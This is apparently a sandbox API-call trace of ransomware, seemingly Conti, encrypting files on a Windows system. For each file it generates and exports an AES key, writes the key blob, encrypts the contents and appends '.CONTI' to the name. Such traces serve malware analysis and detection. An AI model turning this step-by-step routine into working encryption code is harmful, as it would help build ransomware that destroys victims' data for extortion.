	[0114.626] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\96__connections_cellular_orange (denmark)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.626] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\96__connections_cellular_orange (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0114.626] GetLastError () returned 0x0
	[0114.626] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=647) returned 1
	[0114.626] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x287
	[0114.626] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.626] SetEndOfFile (hFile=0x390) returned 1
	[0114.626] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.626] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.626] WriteFile (in: hFile=0x390, lpBuffer=0x65d674c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65d674c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.628] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.628] ReadFile (in: hFile=0x390, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x287, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x287, lpOverlapped=0x0) returned 1
	[0114.628] CryptEncrypt (in: hKey=0x6b7f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x287, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x290) returned 1
	[0114.628] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.628] WriteFile (in: hFile=0x390, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x290, lpOverlapped=0x0) returned 1
	[0114.628] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.628] WriteFile (in: hFile=0x390, lpBuffer=0x65d6740*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65d6740*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0114.629] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.629] CloseHandle (hObject=0x390) returned 1
	[0114.629] GetProcessHeap () returned 0x1720000
	[0114.629] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x656a0f8
	[0114.629] lstrcpyW (in: lpString1=0x656a0f8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml"
	[0114.629] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.629] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\96__connections_cellular_orange (denmark)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\96__connections_cellular_orange (denmark)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.630] GetProcessHeap () returned 0x1720000
	[0114.630] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656a0f8 | out: hHeap=0x1720000) returned 1
	[0114.630] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0114.630] GetProcessHeap () returned 0x1720000
	[0114.630] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b56ad0 | out: hHeap=0x1720000) returned 1
	[0114.630] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0114.630] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65d5078 | out: phKey=0x65d5078*=0x6b7f638) returned 1
	[0114.630] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d507c, pdwDataLen=0x4d3fec4 | out: pbData=0x65d507c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0114.631] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\97__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0114.632] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\97__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0114.632] GetLastError () returned 0x0
	[0114.632] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=472) returned 1
	[0114.632] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d8
	[0114.632] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.632] SetEndOfFile (hFile=0x390) returned 1
	[0117.255] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.255] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.260] WriteFile (in: hFile=0x390, lpBuffer=0x65d507c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65d507c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0117.272] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.272] ReadFile (in: hFile=0x390, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x1d8, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x1d8, lpOverlapped=0x0) returned 1
	[0117.272] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x1d8, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x1e0) returned 1
	[0117.272] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.272] WriteFile (in: hFile=0x390, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x1e0, lpOverlapped=0x0) returned 1
	[0117.272] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.272] WriteFile (in: hFile=0x390, lpBuffer=0x65d5070*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65d5070*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0117.272] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.272] CloseHandle (hObject=0x390) returned 1
	[0117.272] GetProcessHeap () returned 0x1720000
	[0117.273] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.273] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0117.273] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0117.273] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\97__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\97__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0117.274] GetProcessHeap () returned 0x1720000
	[0117.274] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.274] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0117.274] GetProcessHeap () returned 0x1720000
	[0117.274] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1817fb0 | out: hHeap=0x1720000) returned 1
	[0117.274] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0117.274] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65d6bd8 | out: phKey=0x65d6bd8*=0x6b7f378) returned 1
	[0117.274] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d6bdc, pdwDataLen=0x4d3fec4 | out: pbData=0x65d6bdc*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0117.275] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab")) returned 0x20
	[0117.275] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0117.275] GetLastError () returned 0x0
	[0117.275] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=997054) returned 1
	[0117.276] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf36be
	[0117.276] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.276] SetEndOfFile (hFile=0x390) returned 1
	[0117.276] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.276] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.276] WriteFile (in: hFile=0x390, lpBuffer=0x65d6bdc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65d6bdc*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0117.278] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.278] ReadFile (in: hFile=0x390, lpBuffer=0xdf60000, nNumberOfBytesToRead=0xf36be, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0xf36be, lpOverlapped=0x0) returned 1
	[0117.285] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xf36be, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xf36c0) returned 1
	[0117.286] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.286] WriteFile (in: hFile=0x390, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0xf36c0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0xf36c0, lpOverlapped=0x0) returned 1
	[0117.288] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.288] WriteFile (in: hFile=0x390, lpBuffer=0x65d6bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65d6bd0*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0117.288] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.288] CloseHandle (hObject=0x390) returned 1
	[0117.288] GetProcessHeap () returned 0x1720000
	[0117.288] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0117.289] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" | out: lpString1="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab"
	[0117.289] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.CONTI") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.CONTI"
	[0117.289] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.CONTI" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab.conti")) returned 1
	[0117.290] GetProcessHeap () returned 0x1720000
	[0117.290] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0117.290] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0117.290] GetProcessHeap () returned 0x1720000
	[0117.290] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181a4b8 | out: hHeap=0x1720000) returned 1
	[0117.290] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0117.290] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65d32d0 | out: phKey=0x65d32d0*=0x6b7f638) returned 1
	[0117.290] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d32d4, pdwDataLen=0x4d3fec4 | out: pbData=0x65d32d4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0117.291] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi")) returned 0x20
	[0117.292] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0117.292] GetLastError () returned 0x0
	[0117.292] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=143360) returned 1
	[0117.292] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x23000
	[0117.292] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.292] SetEndOfFile (hFile=0x390) returned 1
	[0117.292] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.292] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.293] WriteFile (in: hFile=0x390, lpBuffer=0x65d32d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65d32d4*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0117.294] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.294] ReadFile (in: hFile=0x390, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x23000, lpOverlapped=0x0) returned 1
	[0117.295] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x23000, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x23010) returned 1
	[0117.295] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.295] WriteFile (in: hFile=0x390, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x23010, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x23010, lpOverlapped=0x0) returned 1
	[0117.296] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.296] WriteFile (in: hFile=0x390, lpBuffer=0x65d32c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65d32c8*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0117.296] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.296] CloseHandle (hObject=0x390) returned 1
	[0117.296] GetProcessHeap () returned 0x1720000
	[0117.296] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0117.296] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" | out: lpString1="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi"
	[0117.296] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.CONTI") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.CONTI"
